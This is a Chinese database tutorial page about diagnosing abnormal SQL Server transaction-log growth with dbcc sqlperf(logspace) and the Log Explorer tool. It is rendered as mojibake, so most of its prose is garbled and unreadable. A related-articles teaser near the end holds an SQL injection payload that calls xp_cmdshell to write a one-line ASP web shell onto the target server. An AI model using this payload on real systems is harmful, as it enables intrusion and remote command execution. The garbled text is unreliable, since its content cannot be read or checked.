Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

¹ØÓÚsqlÈÕÖ¾Îļþ

 Ò»¶Îʱ¼äÀ´£¬Ã¿ÌìµÄ¹¤×÷¶¼±È½ÏÔÓ£¬vb,asp,c#,sql£¬Ã¿Ï×÷¶¼Òª¸ã£¬ÊµÔÚÊÇÀÛ£¡¹¤×÷Ö®Ó࣬ÏëÏ빫˾ºÍ¹¤×÷µÄÇé¿ö£¬¿´À´ÊÇÓбØÒª»»¸ö»·¾³ÁË¡£²»¹ýÒ²ÒªÏȰÑĿǰµÄ¹¤×÷´¦ÀíÍê³É°¡¡£
      ×î½üÓÖÓöµ½Ò»¸öÎÊÌ⣺һ¼Ò¿Í»§Ê¹ÓÃÖеÄÊý¾Ý¿â£¬ÈÕÖ¾ÎļþÒì³£Ôö´ó£¬Æ½¾ùÿÌìÔö¼Ó´óÔ¼Ò»¸öG£¬¶øÊý¾ÝÎļþ±ä»¯²»´ó¡£ÕâÁ½Ì쿪ʼ²éÕâ¸öÎÊÌ⣬µ«ÊǺü¸Ììʱ¼ä¹ýÈ¥ÁË£¬Ò»Ö±Ã»ÓÐÍ·Ð÷¡£ÒѾ­×öÁËÖØ½¨Ë÷Òý£¬ÖØ×°sql£¬ÖØ×°ÏµÍ³£¬¸ü»»·þÎñÆ÷µÈ²Ù×÷£¬ÎÊÌâÒÀ¾É¡£ÔÚgoogleËÑË÷ÁËÏ£¬Ö»ÓвéÕÒsqlÊý¾Ý¿âÈÕÖ¾Îļþ´óСµÄÃüÁµ«ÊDz»ÖªÈçºÎ²éÕÒ±íÈÕÖ¾´óС¡£
²éѯÊý¾Ý¿âµÄÈÕÖ¾Îļþ´óС£ºdbcc sqlperf(logspace)
Database Name Log Size (MB) Log Space Used (%) Status
-------------- ------------------------ ------------------------ -----------
master 2.2421875 32.600174 0
tempdb 0.4921875 39.285713 0
model 0.4921875 41.07143 0
msdb 2.2421875 30.901567 0
pubs 0.7421875 49.934212 0
Northwind 0.9921875 34.940945 0
dbcc sqlperf(logspace) ¿ÉÒÔ»ñȡʵÀýÖÐÿ¸öÊý¾Ý¿âÈÕÖ¾Îļþ´óС£¬¼°Ê¹ÓÃÇé¿ö¡£Èç¹ûÒª±£´æSQLÈÕÖ¾Îļþ´óС£¬ÔòÐèÒªÏÈ´´½¨Ò»¸öÊý¾Ý±í£¬È»ºó¶¯Ì¬Ö´ÐÐdbcc sqlperf(logspace)ÃüÁ
create table dbo.LogSize
(
dbname nvarchar(50) not null
,logsize decimal(8,2) not null
,logused decimal(5,2) not null
,status int null
)
insert into dbo.LogSize
execute('dbcc sqlperf(logspace) with no_infomsgs')
Òª²éÈÕÖ¾ÎļþÒì³£Ôö´óµÄÔ­Òò,¾ÍÒªÏÈÈ·¶¨ÊÇÄÄÕűí²Ù×÷Òì³££»Í¨¹ýLog Explorer¹¤¾ß,ÎÒÃÇ¿ÉÒÔ¿´µ½ÈÕÖ¾ÎļþµÄ×´¿ö.
Log ExplorerÖ÷ÒªÓÃÓÚ¶ÔMSSQLServerµÄÊÂÎñ·ÖÎöºÍÊý¾Ý»Ö¸´¡£¿ÉÒÔä¯ÀÀÈÕÖ¾¡¢µ¼³öÊý¾Ý¡¢»Ö¸´±»Ð޸ĻòÕßɾ³ýµÄÊý¾Ý(°üÀ¨Ö´Ðйýupdate,delete,dropºÍtruncateÓï¾äµÄ±í¸ñ)¡£Ò»µ©ÓÉÓÚϵͳ¹ÊÕÏ»òÕßÈËΪÒòËØµ¼ÖÂÊý¾Ý¶ªÊ§£¬ËüÄܹ»ÌṩÔÚÏß¿ìËÙµÄÊý¾Ý»Ö¸´£¬×î´ó³Ì¶ÈÉϱ£Ö¤»Ö¸´ÆÚ¼äµÄÆäËûÊÂÎï²»¼ä¶ÏÖ´ÐС£¿ÉÒÔÖ§³ÖSQLServer7.0ºÍSQLServer2000,ÌáÈ¡±ê×¼Êý¾Ý¿âµÄÈÕÖ¾Îļþ»òÕß±¸·ÝÎļþÖеÄÐÅÏ¢¡£
Log Explorer


Ïà¹ØÎĵµ£º

sql 2005 ´æ´¢¹ý³Ì·ÖÒ³ java ´úÂë

 create PROCEDURE pagelist
@tablename nvarchar(50),
@fieldname nvarchar(50)='*',         
@pagesize int output,--ÿҳÏÔʾ¼Ç¼ÌõÊý
@currentpage int output,--µÚ¼¸Ò³
@orderid nvarchar(50),--Ö÷¼üÅÅÐò
@sort int,--ÅÅÐò·½Ê½£¬1±íʾÉýÐò£¬0±íʾ½µÐòÅÅÁÐ ......

MS SQL Server²éѯÓÅ»¯·½·¨

²éѯËÙ¶ÈÂýµÄÔ­ÒòºÜ¶à£¬³£¼ûÈçϼ¸ÖÖ 
1¡¢Ã»ÓÐË÷Òý»òÕßûÓÐÓõ½Ë÷Òý(ÕâÊDzéѯÂý×î³£¼ûµÄÎÊÌ⣬ÊdzÌÐòÉè¼ÆµÄȱÏÝ)  
2¡¢I/OÍÌÍÂÁ¿Ð¡£¬ÐγÉÁËÆ¿¾±Ð§Ó¦¡£ 
3¡¢Ã»Óд´½¨¼ÆËãÁе¼Ö²éѯ²»ÓÅ»¯¡£  
4¡¢ÄÚ´æ²»×ã 
5¡¢ÍøÂçËÙ¶ÈÂý 
6¡¢²éѯ³öµÄÊý¾ÝÁ¿¹ý´ó£¨¿ÉÒÔ²ÉÓöà´Î²éѯ£¬ÆäË ......

×îÏêϸµÄSQL×¢ÈëÓï¾ä

×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢    ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......

SQL ServerÈÕÆÚ¸ñʽµÄת»»(ÊÕ²Ø)

SQL ServerÖÐÎİæµÄĬÈϵÄÈÕÆÚ×Ö¶Îdatetime¸ñʽÊÇyyyy-mm-dd Thh:mm:ss.mmm
ÀýÈç:
select getdate()
2004-09-12 11:06:08.177
Õâ¶ÔÓÚÔÚÒª²»Í¬Êý¾Ý¿â¼ä×ªÒÆÊý¾Ý»òÕßϰ¹ßoracleÈÕÆÚ¸ñʽYYYY-MM-DD HH24:MI:SSµÄÈ˶àÉÙÓÐЩ²»·½±ã.
ÎÒÕûÀíÁËÒ»ÏÂSQL ServerÀïÃæ¿ÉÄܾ­³£»áÓõ½µÄÈÕÆÚ¸ñʽת»»·½·¨:
¾ÙÀýÈçÏÂ:
select CONV ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ